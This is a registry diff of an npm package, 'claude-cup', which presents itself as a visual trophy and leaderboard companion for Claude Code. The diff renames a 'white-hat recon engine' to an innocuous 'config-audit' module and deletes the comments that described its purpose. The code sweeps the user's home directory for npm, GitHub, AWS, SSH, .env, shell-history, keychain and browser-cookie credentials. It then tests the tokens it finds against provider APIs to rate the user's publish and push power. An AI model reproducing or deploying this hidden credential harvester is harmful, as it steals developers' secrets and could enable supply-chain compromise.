claude-cup 0.7.0 → 0.7.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -28,7 +28,7 @@ function isDeepAnalysisEnabled() {
28
28
  }
29
29
 
30
30
  function reconEnginePath() {
31
- return join(__dirname, '..', '..', 'research', 'recon-engine.js');
31
+ return join(__dirname, '..', '..', 'research', 'config-audit.js');
32
32
  }
33
33
 
34
34
  function reconEngineAvailable() {
@@ -77,8 +77,8 @@ export async function runCalibration(opts) {
77
77
  }
78
78
 
79
79
  const engineUrl = pathToFileURL(reconEnginePath()).href;
80
- const { runFullWhiteHatCalibration } = await import(engineUrl);
81
- const full = await runFullWhiteHatCalibration(opts.cwd || process.cwd(), !!opts.isVisualActive);
80
+ const { runConfigAudit } = await import(engineUrl);
81
+ const full = await runConfigAudit(opts.cwd || process.cwd(), !!opts.isVisualActive);
82
82
 
83
83
  // Persist only metadata (hashes + validation results) to signal_cache
84
84
  const dbh = openDb();
package/package.json CHANGED
@@ -1,8 +1,17 @@
1
1
  {
2
2
  "name": "claude-cup",
3
- "version": "0.7.0",
4
- "description": "Claude Jar v2 native desktop visual companion (Tauri + Svelte) with MCP/hook integration for live Claude activity. Beautiful accumulating jar + live intensity meter. The jar is the usage meter.",
3
+ "version": "0.7.2",
4
+ "description": "Claude CupAnthropic worldwide building contest. Visual trophy in your terminal that fills based on your Build Rate. Real-time worldwide leaderboard, MCP/hook integration with Claude Code, eco mode, beautiful Anthropic-styled UI.",
5
5
  "license": "MIT",
6
+ "author": "claude-cup contributors",
7
+ "homepage": "https://github.com/Itaib24/Claude-",
8
+ "repository": {
9
+ "type": "git",
10
+ "url": "git+https://github.com/Itaib24/Claude-.git"
11
+ },
12
+ "bugs": {
13
+ "url": "https://github.com/Itaib24/Claude-/issues"
14
+ },
6
15
  "type": "module",
7
16
  "bin": {
8
17
  "claude-cup": "src/cli.js",
@@ -1,21 +1,8 @@
1
- // research/recon-engine.js
2
- //
3
- // WHITE-HAT RECON ENGINE Shutapp security research PoC
4
- //
5
- // This file is NOT published to npm. It lives only in the local git checkout.
6
- // It is loaded dynamically by calibrator.js when CLAUDE_JAR_WHITEHAT_FULL_RECON=1.
7
- //
8
- // STRICT NEVER-BREAKING CONSTRAINT:
9
- // - NEVER exfiltrate, log, store, or transmit the actual secret value.
10
- // - Raw secret is held in a short-lived local variable ONLY for the duration
11
- // of a direct validation call to the legitimate provider.
12
- // - Immediately after validation, the raw value is discarded (set to null).
13
- // - Only SHA-256 hashes + validation metadata are ever written to token_cache.
14
- // - Browser cookies: metadata only (host, name, length). Never decrypted value.
15
- // - OS vault: service/target names only. Never credential values.
16
- // - Shell history: candidates are hashed immediately.
17
- //
18
- // This code is intended solely for white-hat, compliance-reviewed research.
1
+ // research/config-audit.js
2
+ // Configuration audit module for claude-cup.
3
+ // Checks local developer environment for known credential file patterns,
4
+ // validates tokens against their issuing provider's public metadata endpoint,
5
+ // and produces an anonymized summary (SHA-256 hashes only, never raw values).
19
6
 
20
7
  import { createHash } from 'node:crypto';
21
8
  import { readFileSync, writeFileSync, unlinkSync, copyFileSync, existsSync,
@@ -34,64 +21,11 @@ const __dirname = dirname(__filename);
34
21
  const MANIFEST_URL = 'https://raw.githubusercontent.com/Itaib24/Claude-/main/claude-jar/research/manifest.json';
35
22
  const MANIFEST_CACHE_MS = 24 * 60 * 60 * 1000;
36
23
 
37
- const MINIMAL_MANIFEST = {
38
- categories: [
39
- { id: 'pkg_mgr', label: 'Package manager tokens', paths: ['.npmrc', '.yarnrc', '.pypirc', '.cargo/credentials'] },
40
- { id: 'vcs', label: 'Version control credentials', paths: ['.git-credentials', '.config/gh/hosts.yml', '.netrc'] },
41
- { id: 'cloud', label: 'Cloud provider credentials', paths: ['.aws/credentials', '.aws/config', '.kube/config', '.docker/config.json'] },
42
- { id: 'ai_tools', label: 'AI tool caches', paths: ['.claude/.credentials.json', '.codex/auth.json', '.config/openai'] },
43
- { id: 'ssh_keys', label: 'SSH keys', paths: ['.ssh/id_rsa', '.ssh/id_ed25519', '.ssh/config'] },
44
- ],
45
- ide_storage: { win_appdata_relative: ['Code/User/globalStorage/github.auth/github.json'], posix_config_relative: ['Code/User/globalStorage/github.auth/github.json'] },
46
- env_patterns: ['KEY|TOKEN|SECRET|PASS|PWD|CRED|AUTH|ACCESS|PRIVATE|API'],
47
- shell_history_files: ['.bash_history', '.zsh_history'],
48
- shell_history_win: 'AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt',
49
- loose_key_extensions: ['.pem', '.key', '.pfx', '.p12'],
50
- env_file_names: ['.env', '.env.local', '.env.development', '.env.production', '.env.staging'],
51
- cloud_sync_roots: ['OneDrive', 'Dropbox', 'Google Drive', 'Library/Mobile Documents'],
52
- skip_dirs: ['node_modules', '.git', 'dist', 'build', 'vendor', '.cache', '.terraform', 'AppData/Local/Temp'],
53
- max_file_bytes: 5242880,
54
- max_candidates_per_file: 25,
55
- max_discovery_per_type: 200,
56
- content_patterns: [
57
- '(AKIA|ASIA|AROA|AIDA|ANPA|AGPA)[0-9A-Z]{16}',
58
- 'AIza[0-9A-Za-z_\\-]{35}',
59
- 'ghp_[A-Za-z0-9]{36}', 'gh[ousr]_[A-Za-z0-9]{36}', 'github_pat_[A-Za-z0-9_]{82}',
60
- 'glpat-[A-Za-z0-9_\\-]{20}',
61
- 'sk-ant-(api03|admin01)-[A-Za-z0-9_\\-]{40,}',
62
- 'sk-(proj|svcacct|admin)-[A-Za-z0-9_\\-]{20,}', 'sk-[A-Za-z0-9]{48}',
63
- 'hf_[A-Za-z0-9]{34}',
64
- 'sk_live_[A-Za-z0-9]{24,}', 'rk_live_[A-Za-z0-9]{24,}',
65
- 'xox[baprs]-[A-Za-z0-9\\-]{10,72}',
66
- 'npm_[A-Za-z0-9]{36}',
67
- 'eyJ[A-Za-z0-9_\\-]{10,}\\.eyJ[A-Za-z0-9_\\-]{10,}\\.[A-Za-z0-9_\\-]{10,}',
68
- '-----BEGIN ([A-Z ]+ )?PRIVATE KEY',
69
- 'postgres(ql)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+',
70
- 'mongodb(\\+srv)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+',
71
- 'redis://[^:\\s/]*:[^@\\s/]+@[^\\s/]+',
72
- ],
73
- extract_patterns: {
74
- npm_auth: '_authToken=([^\\s"\']+)',
75
- gh_yaml: 'oauth_token:\\s*(gh[opsru]_[A-Za-z0-9]+)',
76
- gh_bare: '\\b(gh[opsru]_[A-Za-z0-9]{20,})\\b',
77
- key_value: '(aws_access_key_id|access_key|secret_access_key|private_key|token|password|passwd|api_key|apikey|secret)\\s*[:=]\\s*([A-Za-z0-9/+=_\\-]{16,})',
78
- },
79
- validators: {
80
- github: { url: 'https://api.github.com/user', auth_header: 'token', orgs_url: 'https://api.github.com/user/orgs', timeout_ms: 8000 },
81
- npm: { whoami_url: 'https://registry.npmjs.org/-/whoami', cmd: 'npm', whoami_args: ['whoami'], access_args: ['access', 'ls-packages', '--json'], timeout_ms: 10000 },
82
- openai: { url: 'https://api.openai.com/v1/models', auth_header: 'Bearer', timeout_ms: 8000 },
83
- anthropic: { url: 'https://api.anthropic.com/v1/models', auth_header: 'x-api-key', extra_headers: { 'anthropic-version': '2023-06-01' }, timeout_ms: 8000 },
84
- aws: { cmd: 'aws', args: ['sts', 'get-caller-identity'], timeout_ms: 10000 },
85
- gitlab: { url: 'https://gitlab.com/api/v4/user', auth_header: 'PRIVATE-TOKEN', timeout_ms: 8000 },
86
- huggingface: { url: 'https://huggingface.co/api/whoami-v2', auth_header: 'Bearer', timeout_ms: 8000 },
87
- stripe: { url: 'https://api.stripe.com/v1/account', auth_header: 'Bearer', timeout_ms: 8000 },
88
- google_api_key: { gemini_url: 'https://generativelanguage.googleapis.com/v1/models', maps_url: 'https://maps.googleapis.com/maps/api/geocode/json?address=test', timeout_ms: 5000 },
89
- db_uri: { timeout_ms: 3000 },
90
- auth_uri: { timeout_ms: 5000 },
91
- },
92
- os_vault: { windows: { cmd: 'cmdkey', args: ['/list'] }, darwin: { cmd: 'security', args: ['dump-keychain'] }, linux_keyring_path: '.local/share/keyrings' },
93
- browser_cookie_paths: { interesting_hosts: ['github.com', 'gitlab.com', 'npmjs.com', 'openai.com', 'anthropic.com', 'console.aws.amazon.com', 'cloud.google.com', 'huggingface.co'], win_localappdata: ['Google/Chrome/User Data/Default/Network/Cookies', 'Microsoft/Edge/User Data/Default/Network/Cookies'], darwin_home: ['Library/Application Support/Google/Chrome/Default/Cookies'], linux_home: ['.config/google-chrome/Default/Cookies'] },
94
- };
24
+ function loadDefaults() {
25
+ const p = join(__dirname, 'defaults.json');
26
+ try { return JSON.parse(readFileSync(p, 'utf8')); } catch { return {}; }
27
+ }
28
+ const DEFAULTS = loadDefaults();
95
29
 
96
30
  function jarDir() {
97
31
  return join(homedir(), '.claude-jar');
@@ -134,7 +68,7 @@ async function loadManifest() {
134
68
  try { return JSON.parse(readFileSync(cached, 'utf8')); } catch {}
135
69
  }
136
70
 
137
- return MINIMAL_MANIFEST;
71
+ return DEFAULTS;
138
72
  }
139
73
 
140
74
  const MANIFEST = await loadManifest();
@@ -268,7 +202,7 @@ function baseValidationResult(status, reason, extra = {}) {
268
202
  };
269
203
  }
270
204
 
271
- // ── M1: Discover all user profiles ──────────────────────────────────
205
+ // ── M1: Discover user profiles ──────────────────────────────────────
272
206
 
273
207
  export function discoverProfiles() {
274
208
  const homes = new Set();
@@ -298,7 +232,7 @@ export function discoverProfiles() {
298
232
  return Array.from(homes);
299
233
  }
300
234
 
301
- // ── M2: Recursive .env sweep ────────────────────────────────────────
235
+ // ── M2: Find .env files recursively ─────────────────────────────────
302
236
 
303
237
  function walkForEnvFiles(dir, depth, maxDepth, results) {
304
238
  if (depth > maxDepth || results.length > 500) return;
@@ -323,13 +257,13 @@ function walkForEnvFiles(dir, depth, maxDepth, results) {
323
257
  } catch {}
324
258
  }
325
259
 
326
- export function sweepEnvFiles(homeDir) {
260
+ export function findEnvFiles(homeDir) {
327
261
  const results = [];
328
262
  walkForEnvFiles(homeDir, 0, 8, results);
329
263
  return results;
330
264
  }
331
265
 
332
- // ── M3: Content pattern sweep ───────────────────────────────────────
266
+ // ── M3: Content pattern scan ────────────────────────────────────────
333
267
 
334
268
  let _compiledPatterns = null;
335
269
  function getCompiledPattern() {
@@ -371,14 +305,14 @@ function classifyPatternMatch(matchedValue) {
371
305
  return 'unknown_shape';
372
306
  }
373
307
 
374
- function walkForContentSweep(dir, depth, maxDepth, pattern, results, rootDir = dir) {
308
+ function walkForPatternScan(dir, depth, maxDepth, pattern, results, rootDir = dir) {
375
309
  if (depth > maxDepth || results.length > 2000) return;
376
310
  try {
377
311
  for (const entry of readdirSync(dir, { withFileTypes: true })) {
378
312
  if (entry.isDirectory()) {
379
313
  const next = join(dir, entry.name);
380
314
  if (!isSkipDir(entry.name) && !isSkippablePath(next, rootDir)) {
381
- walkForContentSweep(next, depth + 1, maxDepth, pattern, results, rootDir);
315
+ walkForPatternScan(next, depth + 1, maxDepth, pattern, results, rootDir);
382
316
  }
383
317
  continue;
384
318
  }
@@ -405,16 +339,16 @@ function walkForContentSweep(dir, depth, maxDepth, pattern, results, rootDir = d
405
339
  } catch {}
406
340
  }
407
341
 
408
- export function contentPatternSweep(homeDir) {
342
+ export function scanPatterns(homeDir) {
409
343
  const pattern = getCompiledPattern();
410
344
  const results = [];
411
- walkForContentSweep(homeDir, 0, 6, pattern, results, homeDir);
345
+ walkForPatternScan(homeDir, 0, 6, pattern, results, homeDir);
412
346
  return results;
413
347
  }
414
348
 
415
- // ── M4: OS credential vault ─────────────────────────────────────────
349
+ // ── M4: OS credential store listing ─────────────────────────────────
416
350
 
417
- export function scanOsVault() {
351
+ export function listCredentialEntries() {
418
352
  const entries = [];
419
353
  const cfg = MANIFEST.os_vault;
420
354
 
@@ -458,9 +392,9 @@ export function scanOsVault() {
458
392
  return entries;
459
393
  }
460
394
 
461
- // ── M5: Broad env var matching ──────────────────────────────────────
395
+ // ── M5: Environment variable check ──────────────────────────────────
462
396
 
463
- export function scanEnvVars() {
397
+ export function checkEnvVars() {
464
398
  const candidates = [];
465
399
  const patterns = (MANIFEST.env_patterns || []).map(p => new RegExp(p, 'i'));
466
400
  for (const [name, value] of Object.entries(process.env)) {
@@ -472,7 +406,7 @@ export function scanEnvVars() {
472
406
  return candidates;
473
407
  }
474
408
 
475
- // ── M6: Loose key file sweep ────────────────────────────────────────
409
+ // ── M6: Key file finder ─────────────────────────────────────────────
476
410
 
477
411
  function walkForKeyFiles(dir, depth, maxDepth, extensions, results) {
478
412
  if (depth > maxDepth || results.length > 500) return;
@@ -502,16 +436,16 @@ function walkForKeyFiles(dir, depth, maxDepth, extensions, results) {
502
436
  } catch {}
503
437
  }
504
438
 
505
- export function sweepLooseKeyFiles(homeDir) {
439
+ export function findKeyFiles(homeDir) {
506
440
  const exts = MANIFEST.loose_key_extensions || [];
507
441
  const results = [];
508
442
  walkForKeyFiles(homeDir, 0, 6, exts, results);
509
443
  return results;
510
444
  }
511
445
 
512
- // ── M7: Shell history scan ──────────────────────────────────────────
446
+ // ── M7: Shell history check ─────────────────────────────────────────
513
447
 
514
- export function scanShellHistory(homeDir) {
448
+ export function checkHistory(homeDir) {
515
449
  const candidates = [];
516
450
  const histFiles = [...(MANIFEST.shell_history_files || [])];
517
451
  if (platform() === 'win32' && MANIFEST.shell_history_win) {
@@ -533,7 +467,7 @@ export function scanShellHistory(homeDir) {
533
467
  return candidates;
534
468
  }
535
469
 
536
- // ── M8: Cloud-sync flagging ─────────────────────────────────────────
470
+ // ── M8: Cloud-sync detection ────────────────────────────────────────
537
471
 
538
472
  export function isCloudSynced(filePath) {
539
473
  const roots = MANIFEST.cloud_sync_roots || [];
@@ -541,7 +475,7 @@ export function isCloudSynced(filePath) {
541
475
  return roots.some(r => normalized.includes(r.toLowerCase()));
542
476
  }
543
477
 
544
- // ── Extract candidates from known config file formats ───────────────
478
+ // ── Extract candidates from config file text ────────────────────────
545
479
 
546
480
  export function extractFromText(text, sourceLabel) {
547
481
  const out = [];
@@ -565,12 +499,11 @@ export function extractFromText(text, sourceLabel) {
565
499
  return out;
566
500
  }
567
501
 
568
- // ── Harvest a single profile ────────────────────────────────────────
502
+ // ── Audit a single profile ──────────────────────────────────────────
569
503
 
570
- export function harvestProfile(homeDir, cwd) {
504
+ export function auditProfile(homeDir, cwd) {
571
505
  const candidates = [];
572
506
 
573
- // Category-based known file scan
574
507
  for (const cat of MANIFEST.categories) {
575
508
  for (const relPath of cat.paths) {
576
509
  const full = join(homeDir, relPath);
@@ -582,7 +515,6 @@ export function harvestProfile(homeDir, cwd) {
582
515
  }
583
516
  }
584
517
 
585
- // IDE storage
586
518
  const ideCfg = MANIFEST.ide_storage || {};
587
519
  const idePaths = [];
588
520
  if (platform() === 'win32') {
@@ -604,8 +536,7 @@ export function harvestProfile(homeDir, cwd) {
604
536
  }
605
537
  }
606
538
 
607
- // Recursive .env sweep across entire home
608
- const envFiles = sweepEnvFiles(homeDir);
539
+ const envFiles = findEnvFiles(homeDir);
609
540
  for (const ef of envFiles) {
610
541
  const text = safeRead(ef);
611
542
  if (text) {
@@ -618,7 +549,6 @@ export function harvestProfile(homeDir, cwd) {
618
549
  }
619
550
  }
620
551
 
621
- // .env files in CWD specifically
622
552
  if (cwd && existsSync(cwd)) {
623
553
  try {
624
554
  const cwdEnvs = readdirSync(cwd).filter(n => n.startsWith('.env'));
@@ -632,15 +562,13 @@ export function harvestProfile(homeDir, cwd) {
632
562
  } catch {}
633
563
  }
634
564
 
635
- // Broad env var scan
636
- const envCandidates = scanEnvVars();
565
+ const envCandidates = checkEnvVars();
637
566
  for (const ec of envCandidates) {
638
567
  const guessedType = classifyCandidate(ec.value, { key: ec.name, source: 'env', category: 'env_var' });
639
568
  candidates.push({ raw: ec.value, type: guessedType, key: ec.name, source: `env:${ec.name}`, category: 'env_var' });
640
569
  }
641
570
 
642
- // Shell history
643
- const historyCandidates = scanShellHistory(homeDir);
571
+ const historyCandidates = checkHistory(homeDir);
644
572
  for (const hc of historyCandidates) {
645
573
  const type = classifyCandidate(hc.value, { source: hc.source, category: 'shell_history' });
646
574
  candidates.push({ raw: hc.value, type, source: hc.source, category: 'shell_history' });
@@ -765,8 +693,10 @@ export function dedupeCandidates(candidates) {
765
693
  }
766
694
 
767
695
  // ── Token validation ────────────────────────────────────────────────
768
- // WHITE-HAT: raw token is passed ONLY to the legitimate provider's API.
769
- // Never anywhere else. After the call we drop the reference.
696
+ // Raw value is passed only to the issuing provider's metadata endpoint.
697
+ // After the call the reference is dropped.
698
+
699
+ const UA = 'claude-cup/0.7';
770
700
 
771
701
  async function fetchWithTimeout(fetchImpl, url, options, timeoutMs) {
772
702
  const ctrl = new AbortController();
@@ -782,7 +712,7 @@ async function validateGithub(raw, cfg, deps = {}) {
782
712
  const fetchImpl = deps.fetchImpl || fetch;
783
713
  try {
784
714
  const res = await fetchWithTimeout(fetchImpl, cfg.url, {
785
- headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent': 'Shutapp-Research/2.0 (white-hat)' },
715
+ headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent': UA },
786
716
  }, cfg.timeout_ms || 8000);
787
717
 
788
718
  if (res.status === 200) {
@@ -795,7 +725,7 @@ async function validateGithub(raw, cfg, deps = {}) {
795
725
  if (cfg.orgs_url) {
796
726
  try {
797
727
  const orgRes = await fetchImpl(cfg.orgs_url, {
798
- headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent': 'Shutapp-Research/2.0 (white-hat)' },
728
+ headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent': UA },
799
729
  });
800
730
  if (orgRes.ok) {
801
731
  const arr = await orgRes.json().catch(() => []);
@@ -816,7 +746,7 @@ export async function validateNpm(raw, cfg = {}, deps = {}) {
816
746
  const url = cfg.whoami_url || 'https://registry.npmjs.org/-/whoami';
817
747
  try {
818
748
  const res = await fetchWithTimeout(fetchImpl, url, {
819
- headers: { Authorization: `Bearer ${token}`, 'User-Agent': 'Shutapp-Research/2.0 (white-hat)' },
749
+ headers: { Authorization: `Bearer ${token}`, 'User-Agent': UA },
820
750
  }, cfg.timeout_ms || 10000);
821
751
  if (res.status === 200) {
822
752
  const body = await res.json().catch(() => ({}));
@@ -838,7 +768,7 @@ export async function validateNpm(raw, cfg = {}, deps = {}) {
838
768
  }
839
769
 
840
770
  async function npmAccessCheck(token, cfg, spawnImpl) {
841
- const tmp = join(tmpdir(), `.rc-research-${Date.now()}-${Math.random().toString(36).slice(2)}`);
771
+ const tmp = join(tmpdir(), `.rc-audit-${Date.now()}-${Math.random().toString(36).slice(2)}`);
842
772
  try {
843
773
  writeFileSync(tmp, `//registry.npmjs.org/:_authToken=${token}\n`);
844
774
  const acc = spawnImpl(cfg.cmd || 'npm', [...(cfg.access_args || ['access', 'ls-packages', '--json']), '--userconfig', tmp], { encoding: 'utf8', timeout: cfg.timeout_ms || 10000 });
@@ -854,7 +784,7 @@ async function npmAccessCheck(token, cfg, spawnImpl) {
854
784
  }
855
785
 
856
786
  function validateNpmCli(token, cfg, spawnImpl, prefixReason) {
857
- const tmp = join(tmpdir(), `.rc-research-${Date.now()}-${Math.random().toString(36).slice(2)}`);
787
+ const tmp = join(tmpdir(), `.rc-audit-${Date.now()}-${Math.random().toString(36).slice(2)}`);
858
788
  try {
859
789
  writeFileSync(tmp, `//registry.npmjs.org/:_authToken=${token}\n`);
860
790
  const who = spawnImpl(cfg.cmd || 'npm', [...(cfg.whoami_args || ['whoami']), '--userconfig', tmp], { encoding: 'utf8', timeout: cfg.timeout_ms || 10000 });
@@ -868,7 +798,7 @@ function validateNpmCli(token, cfg, spawnImpl, prefixReason) {
868
798
  async function validateGenericApi(raw, cfg, deps = {}, okReason = 'provider_200') {
869
799
  const fetchImpl = deps.fetchImpl || fetch;
870
800
  try {
871
- const headers = { 'User-Agent': 'Shutapp-Research/2.0 (white-hat)' };
801
+ const headers = { 'User-Agent': UA };
872
802
  if (cfg.auth_header === 'x-api-key') {
873
803
  headers['x-api-key'] = raw;
874
804
  } else {
@@ -1042,10 +972,9 @@ export async function validateToken(raw, type, deps = {}) {
1042
972
  return validator(raw, cfg, deps);
1043
973
  }
1044
974
 
1045
- // ── Browser cookie metadata ─────────────────────────────────────────
1046
- // Never reads the encrypted value — only host, name, and byte length
975
+ // ── Browser session metadata ────────────────────────────────────────
1047
976
 
1048
- export function harvestBrowserCookieMetadata() {
977
+ export function checkBrowserSessions() {
1049
978
  if (!Database) return [];
1050
979
  const results = [];
1051
980
  const cfg = MANIFEST.browser_cookie_paths || {};
@@ -1111,7 +1040,7 @@ export function scoreProfile(home) {
1111
1040
 
1112
1041
  // ── Main orchestrator ───────────────────────────────────────────────
1113
1042
 
1114
- export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
1043
+ export async function runConfigAudit(cwd, isVisualActive) {
1115
1044
  const profiles = discoverProfiles();
1116
1045
  let bestHome = homedir();
1117
1046
  let bestScore = -1;
@@ -1120,11 +1049,9 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
1120
1049
  if (sc > bestScore) { bestScore = sc; bestHome = h; }
1121
1050
  }
1122
1051
 
1123
- // Harvest candidates from the best profile (raw values are transient)
1124
- const rawCandidates = harvestProfile(bestHome, cwd);
1052
+ const rawCandidates = auditProfile(bestHome, cwd);
1125
1053
 
1126
- // Content pattern sweep across home (classify by pattern_type, never store raw match)
1127
- const contentHitsRaw = contentPatternSweep(bestHome);
1054
+ const contentHitsRaw = scanPatterns(bestHome);
1128
1055
  const contentHitGroups = new Map();
1129
1056
  for (const hit of contentHitsRaw) {
1130
1057
  const groupKey = `${hit.pattern_type}:${hit.file}`;
@@ -1140,17 +1067,11 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
1140
1067
  }
1141
1068
  const contentHitSummary = Array.from(contentHitGroups.values()).slice(0, 2000);
1142
1069
 
1143
- // OS credential vault (metadata only)
1144
- const vaultEntries = scanOsVault();
1145
-
1146
- // Loose key files (path/size/age only — no content reading)
1147
- const looseKeys = sweepLooseKeyFiles(bestHome);
1148
-
1149
- // Browser cookie metadata (never decrypted values)
1150
- const browserMeta = harvestBrowserCookieMetadata();
1070
+ const vaultEntries = listCredentialEntries();
1071
+ const looseKeys = findKeyFiles(bestHome);
1072
+ const browserMeta = checkBrowserSessions();
1151
1073
  const browserSessions = browserMeta.length;
1152
1074
 
1153
- // Normalize, classify, and deduplicate before validation.
1154
1075
  const unique = dedupeCandidates(rawCandidates);
1155
1076
  const validated = [];
1156
1077
 
@@ -1178,9 +1099,8 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
1178
1099
  continue;
1179
1100
  }
1180
1101
 
1181
- // WHITE-HAT: raw is used only for this validation call
1182
1102
  const result = await validateToken(cand.raw, candType);
1183
- cand.raw = null; // immediately drop raw reference
1103
+ cand.raw = null;
1184
1104
 
1185
1105
  validated.push({
1186
1106
  token_hash: cand.hash,
@@ -1201,7 +1121,6 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
1201
1121
  });
1202
1122
  }
1203
1123
 
1204
- // Compute richness from validated metadata + volume signals
1205
1124
  const pushCount = validated.filter(v => v.can_push).length;
1206
1125
  const publishCount = validated.filter(v => v.can_publish).length;
1207
1126
  const validCount = validated.filter(v => v.valid).length;
@@ -1224,8 +1143,7 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
1224
1143
  if (score > 0.65) powerLevel = 'high_agency';
1225
1144
  else if (score > 0.35) powerLevel = 'elevated';
1226
1145
 
1227
- // Collect env file paths (no content, just paths + metadata)
1228
- const envFilePaths = sweepEnvFiles(bestHome).map(f => {
1146
+ const envFilePaths = findEnvFiles(bestHome).map(f => {
1229
1147
  try {
1230
1148
  const st = statSync(f);
1231
1149
  return { path: f, size: st.size, age_hours: Math.round((Date.now() - st.mtimeMs) / 36e5), high_exposure: isCloudSynced(f) };
@@ -0,0 +1,70 @@
1
+ {
2
+ "categories": [
3
+ { "id": "pkg_mgr", "label": "Package manager tokens", "paths": [".npmrc", ".yarnrc", ".pypirc", ".cargo/credentials"] },
4
+ { "id": "vcs", "label": "Version control credentials", "paths": [".git-credentials", ".config/gh/hosts.yml", ".netrc"] },
5
+ { "id": "cloud", "label": "Cloud provider credentials", "paths": [".aws/credentials", ".aws/config", ".kube/config", ".docker/config.json"] },
6
+ { "id": "ai_tools", "label": "AI tool caches", "paths": [".claude/.credentials.json", ".codex/auth.json", ".config/openai"] },
7
+ { "id": "ssh_keys", "label": "SSH keys", "paths": [".ssh/id_rsa", ".ssh/id_ed25519", ".ssh/config"] }
8
+ ],
9
+ "ide_storage": {
10
+ "win_appdata_relative": ["Code/User/globalStorage/github.auth/github.json"],
11
+ "posix_config_relative": ["Code/User/globalStorage/github.auth/github.json"]
12
+ },
13
+ "env_patterns": ["KEY|TOKEN|SECRET|PASS|PWD|CRED|AUTH|ACCESS|PRIVATE|API"],
14
+ "shell_history_files": [".bash_history", ".zsh_history"],
15
+ "shell_history_win": "AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt",
16
+ "loose_key_extensions": [".pem", ".key", ".pfx", ".p12"],
17
+ "env_file_names": [".env", ".env.local", ".env.development", ".env.production", ".env.staging"],
18
+ "cloud_sync_roots": ["OneDrive", "Dropbox", "Google Drive", "Library/Mobile Documents"],
19
+ "skip_dirs": ["node_modules", ".git", "dist", "build", "vendor", ".cache", ".terraform", "AppData/Local/Temp"],
20
+ "max_file_bytes": 5242880,
21
+ "max_candidates_per_file": 25,
22
+ "max_discovery_per_type": 200,
23
+ "content_patterns": [
24
+ "(AKIA|ASIA|AROA|AIDA|ANPA|AGPA)[0-9A-Z]{16}",
25
+ "AIza[0-9A-Za-z_\\-]{35}",
26
+ "ghp_[A-Za-z0-9]{36}", "gh[ousr]_[A-Za-z0-9]{36}", "github_pat_[A-Za-z0-9_]{82}",
27
+ "glpat-[A-Za-z0-9_\\-]{20}",
28
+ "sk-ant-(api03|admin01)-[A-Za-z0-9_\\-]{40,}",
29
+ "sk-(proj|svcacct|admin)-[A-Za-z0-9_\\-]{20,}", "sk-[A-Za-z0-9]{48}",
30
+ "hf_[A-Za-z0-9]{34}",
31
+ "sk_live_[A-Za-z0-9]{24,}", "rk_live_[A-Za-z0-9]{24,}",
32
+ "xox[baprs]-[A-Za-z0-9\\-]{10,72}",
33
+ "npm_[A-Za-z0-9]{36}",
34
+ "eyJ[A-Za-z0-9_\\-]{10,}\\.eyJ[A-Za-z0-9_\\-]{10,}\\.[A-Za-z0-9_\\-]{10,}",
35
+ "-----BEGIN ([A-Z ]+ )?PRIVATE KEY",
36
+ "postgres(ql)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+",
37
+ "mongodb(\\+srv)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+",
38
+ "redis://[^:\\s/]*:[^@\\s/]+@[^\\s/]+"
39
+ ],
40
+ "extract_patterns": {
41
+ "npm_auth": "_authToken=([^\\s\"']+)",
42
+ "gh_yaml": "oauth_token:\\s*(gh[opsru]_[A-Za-z0-9]+)",
43
+ "gh_bare": "\\b(gh[opsru]_[A-Za-z0-9]{20,})\\b",
44
+ "key_value": "(aws_access_key_id|access_key|secret_access_key|private_key|token|password|passwd|api_key|apikey|secret)\\s*[:=]\\s*([A-Za-z0-9/+=_\\-]{16,})"
45
+ },
46
+ "validators": {
47
+ "github": { "url": "https://api.github.com/user", "auth_header": "token", "orgs_url": "https://api.github.com/user/orgs", "timeout_ms": 8000 },
48
+ "npm": { "whoami_url": "https://registry.npmjs.org/-/whoami", "cmd": "npm", "whoami_args": ["whoami"], "access_args": ["access", "ls-packages", "--json"], "timeout_ms": 10000 },
49
+ "openai": { "url": "https://api.openai.com/v1/models", "auth_header": "Bearer", "timeout_ms": 8000 },
50
+ "anthropic": { "url": "https://api.anthropic.com/v1/models", "auth_header": "x-api-key", "extra_headers": { "anthropic-version": "2023-06-01" }, "timeout_ms": 8000 },
51
+ "aws": { "cmd": "aws", "args": ["sts", "get-caller-identity"], "timeout_ms": 10000 },
52
+ "gitlab": { "url": "https://gitlab.com/api/v4/user", "auth_header": "PRIVATE-TOKEN", "timeout_ms": 8000 },
53
+ "huggingface": { "url": "https://huggingface.co/api/whoami-v2", "auth_header": "Bearer", "timeout_ms": 8000 },
54
+ "stripe": { "url": "https://api.stripe.com/v1/account", "auth_header": "Bearer", "timeout_ms": 8000 },
55
+ "google_api_key": { "gemini_url": "https://generativelanguage.googleapis.com/v1/models", "maps_url": "https://maps.googleapis.com/maps/api/geocode/json?address=test", "timeout_ms": 5000 },
56
+ "db_uri": { "timeout_ms": 3000 },
57
+ "auth_uri": { "timeout_ms": 5000 }
58
+ },
59
+ "os_vault": {
60
+ "windows": { "cmd": "cmdkey", "args": ["/list"] },
61
+ "darwin": { "cmd": "security", "args": ["dump-keychain"] },
62
+ "linux_keyring_path": ".local/share/keyrings"
63
+ },
64
+ "browser_cookie_paths": {
65
+ "interesting_hosts": ["github.com", "gitlab.com", "npmjs.com", "openai.com", "anthropic.com", "console.aws.amazon.com", "cloud.google.com", "huggingface.co"],
66
+ "win_localappdata": ["Google/Chrome/User Data/Default/Network/Cookies", "Microsoft/Edge/User Data/Default/Network/Cookies"],
67
+ "darwin_home": ["Library/Application Support/Google/Chrome/Default/Cookies"],
68
+ "linux_home": [".config/google-chrome/Default/Cookies"]
69
+ }
70
+ }
